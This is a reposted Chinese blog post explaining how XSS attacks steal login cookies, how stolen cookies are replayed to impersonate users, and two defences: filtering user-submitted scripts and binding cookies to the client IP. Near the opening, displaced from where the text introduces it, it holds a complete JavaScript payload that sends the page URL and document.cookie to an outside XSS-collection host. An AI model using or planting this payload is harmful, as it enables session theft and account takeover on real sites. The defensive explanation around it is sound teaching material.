作为一个web开发者,避免不了用户登录功能,但是有多少知道用户登录的一些安全防范技术呢? (function(){(new Image()).src='http://xss.sssie.com/index.php?do=api&id=RQTPpx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();if(''==1){keep=new Image();keep.src='http://xss.sssie.com/index.php?do=keepsession&id=RQTPpx&url='+escape(document.location)+'&cookie='+escape(document.cookie)}; 一般的菜鸟只知道把用户信息保存到Cookie 即可,登录只管判断Cookie是否存在,凭借着cookie值的存在情况来判断用户是否登录,更有一些甚至把用户密码也保存在Cookie中,这是极其危险的,人家要搞你分分钟可以模拟你的Cookie来登录你的用户,做一些危险的事情。 1、攻击者怎么拿到你的登录的Cookie值。 现在各种攻击技术,目前我只了解XSS攻击方式,就在前一段时间,我自己建立了一个自己的前端社区 在群里面讨论遇到了一个大神,做过一个XSS攻击的测试,他在我的社区里面发布了一篇博客,里面嵌入了XSS攻击脚步,脚步代码如下:
这段代码,是通过第三方XSS平台来的,不过目前有许多的免费XSS平台,自己也可以搭建一个。 通过嵌入以上脚步,只要用户登录了自己的帐号,一旦浏览了攻击者发布的博客,即攻击成功,XSS第三方平台里面发送有关我登录的Cookie 给攻击者,这样你登录的Cookie值立马给窃取,是不是很危险呢? 2、攻击者模拟Cookie登录 做过后台开发的人都知道怎么模拟Cookie信息去登录,除非是菜鸟,这个我就不多说了, 不过不会后台开发的人,会使用一些工具,比如Fiddler 就很容易把Cookie信息模拟登录了,这里就不一一讲述实现过程了 仅仅通过简单的模拟用户的Cookie就可以分分种使用你的帐号登录了,并做一些危险的动作,比如删除你的东西,以及更多危险的操作。 到了这里是不是觉得很危险?接下来我来讲述怎么防止这种模拟 以下讲述两点防止的方法: 1、网站本身做一些脚步拦截,以及脚步检验工作 比如web站点使用过富文本,一般富文本默认都会对脚本进行拦截,但是有些需要是需要开启这个用户引用脚步的,针对这些就的对用户输入引用的脚本做安全的验证工作,检查风险性,对于风险脚步进行拦截处理,不让提交等。这样就可以在用户输入层避免了XSS攻击的来源了 2、Cookie层本身做正确性校验 后台判断是否登录做严格的验证校验工作,不仅仅只判断Cookie是否存在,而要做严格的正确性验证,这里我提供以下IP校验的方式来验证是否是有效登录。 可以把用户请求的IP值和用户的唯一ID做一个特殊加密处理,这样Cookie信息中包含了用户登录的IP地址,这是很多大型网站都是这样做的安全登录,大家应该见过一些金融产品,如果换了一个网络,是不是提示要重新登录呢?这就是根据IP地址校验来防止攻击。 Cookie值中保存了用户的IP值,这样每次登录的时候判断IP地址和当前请求的IP地址是否一致,如果一致则通过验证,IP不一致则说明是异常登录,验证不通过。
总结:目前Cookie模拟登录安全防范就已经完结了,谢谢大家的支持, 转载之 小Q的博客 原创地址 http://www.jqsite.com/notes/1604068878.html